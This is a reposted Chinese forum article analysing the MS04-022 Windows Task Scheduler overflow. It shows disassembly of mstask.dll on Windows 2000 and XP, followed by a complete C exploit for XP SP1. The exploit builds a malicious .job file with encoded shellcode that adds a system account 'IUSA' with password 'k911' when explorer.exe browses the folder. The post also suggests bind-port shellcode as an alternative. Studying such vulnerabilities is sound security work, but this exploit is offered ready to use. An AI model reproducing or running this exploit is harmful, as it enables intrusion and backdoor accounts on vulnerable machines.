发新话题
打印

[转载]对于 ms040-022 漏洞的研究与分析报告

[转载]对于 ms040-022 漏洞的研究与分析报告

信息来源:安全焦点

这个bug的报告在2k ,xp上都存在 实际上目前的溢出只在xp上确认可以成功。
而高手们的测试 在cn 2000 sp3,sp4的环境下flashsky都测试成功过
测试方法很简单 构造一个可执行文件名很长的.job文件
就可以在xp上导致explorer.exe 浏览包含这个文件的目录溢出
定位溢出点后 执行shellcode 都很容易成功。只是由于如果shellcode 直接
在当前线程执行bind port的话 会导致explorer.exe不响应 可以改成执行一个bind port的 exe
或直接加帐号。但是这样的溢出利用需要别人主动访问这个文件夹,而且权限是当前的登陆用户
不一定是最高权限。
关于在2k上不成功 我仔细check了与xp的不同,

实际上在shell32.dll里调用mstask.dll的地方都是给了buffer的长度0x104
78303F56  . 8D4D 08      LEA ECX,DWORD PTR SS:[EBP+8]
78303F59  . 8B07        MOV EAX,DWORD PTR DS:[EDI]
78303F5B  . 51         PUSH ECX
78303F5C  . 8D8D E8FDFFFF  LEA ECX,DWORD PTR SS:[EBP-218]
78303F62  . 68 04010000   PUSH 104           这里给buffer length
78303F67  . 51         PUSH ECX
78303F68  . 8B4D 0C      MOV ECX,DWORD PTR SS:[EBP+C]
78303F6B  . 83C9 02      OR ECX,2
78303F6E  . 51         PUSH ECX
78303F6F  . 57         PUSH EDI
78303F70  . FF50 0C      CALL DWORD PTR DS:[EAX+C]      这里call进mstask.dll的函数
78303F73  . 8BD8        MOV EBX,EAX
78303F75  > 85DB        TEST EBX,EBX

但在mstask.dll的函数实现里却有不同
2k
6AC2F397  |. 817D 10 FFFFFF>CMP DWORD PTR SS:[EBP+10],7FFFFFFF        这里判断length是否太大
6AC2F39E  |. 77 0E       JA SHORT mstask.6AC2F3AE
6AC2F3A0  |. FF75 08      PUSH DWORD PTR SS:[EBP+8]           ; /Arg3
6AC2F3A3  |. FF75 10      PUSH DWORD PTR SS:[EBP+10]          ; |Arg2
6AC2F3A6  |. FF75 0C      PUSH DWORD PTR SS:[EBP+C]           ; |Arg1
6AC2F3A9  |. E8 B342FFFF   CALL mstask.6AC23661              ; \mstask.6AC23661   用了mstask自己实现的的wstrcpy函数 传了length [EBP+10]
6AC2F3AE  |> FF75 08      PUSH DWORD PTR SS:[EBP+8]
6AC2F3B1  |. E8 D14DFFFF   CALL mstask.6AC24187



但是xp上

7354C9B9  |. 85FF        TEST EDI,EDI
7354C9BB  |. 7C 14       JL SHORT mstask.7354C9D1
7354C9BD  |. FF75 08      PUSH DWORD PTR SS:[EBP+8]           ; /String2
7354C9C0  |. FF75 0C      PUSH DWORD PTR SS:[EBP+C]           ; |String1
7354C9C3  |. FF15 74135473  CALL DWORD PTR DS:[<&KERNEL32.lstrcpyW>] ; \lstrcpyW  直接call strcpyW 没用[EBP+10]
7354C9C9  |. FF75 08      PUSH DWORD PTR SS:[EBP+8]
7354C9CC  |. E8 8B61FFFF   CALL mstask.73542B5C

所以实际上buffer 是0x104 去掉前面"task!" 应该是255个字节
只要构造超过255的buffer就可以溢出

测试程序 创建一个系统帐号IUSA 密码k911

/*  
   ms04-022 exp  for xp sp1
   by sbaa 2004.7.20
   create a system account IUSA password k911

*/
#include <stdio.h>
#include <windows.h>


unsigned char job_head[] =
"\x47\x04\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";

unsigned char job_end[] =
"\x00\x00\x00\x00\x04\x00\x44\x00\x3A\x00"
"\x5C\x00\x00\x00\x07\x00\x67\x00\x75\x00\x65\x00\x73\x00\x74\x00"
"\x31\x00\x00\x00\x00\x00\x00\x00\x08\x00\x03\x13\x04\x00\x00\x00"
"\x00\x00\x01\x00\x30\x00\x00\x00\xD4\x07\x07\x00\x0F\x00\x00\x00"
"\x00\x00\x00\x00\x0B\x00\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00";


unsigned char shellcode[] =

"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x42\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
"\xEB\xF6\xFA\xFC\xEA\xEA\x99"
"\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC\xED\xB9\xEC\xEA\xFC\xEB\xB9\xD0\xCC\xCA\xD8"
"\xB9\xF2\xA0\xA8\xA8\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6"
"\xFA\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED\xEB\xF8\xED"
"\xF6\xEB\xEA\xB9\xD0\xCC\xCA\xD8\xB9\xB6\xF8\xFD\xFD\x99";


int main(int argc, char* argv[])
{
   char buf[40960];
   int len=0,i=0;
   WORD len_name;
FILE *fp;
fp = fopen("create_account.job", "wb");
if(fp)
{
len=sizeof(job_head) - 1;
memcpy(buf, job_head, len);

len_name=1024;

buf[len]=len_name/2%256+1;
buf[len+1]=len_name/2/256;
len=len+2;
for(i=0;i<len_name/2;i++)
{
   buf[len+i*2]=i%128?i%128:i/128+1;
   buf[len+i*2+1]=0x0;
}
memcpy(buf+len+518,"\x1e\x34\xc6\x77",4);
memcpy(buf+len+534,"\xe9\x63\x03\x00\x00\x90",6);
memcpy(buf+len+562,shellcode,sizeof(shellcode)-1);
     
memcpy(buf+len+len_name, job_end, sizeof(job_end)-1);

fwrite(buf, 1, len+len_name+sizeof(job_end)-1, fp);
fclose(fp);

}
return 0;
}

TOP

发新话题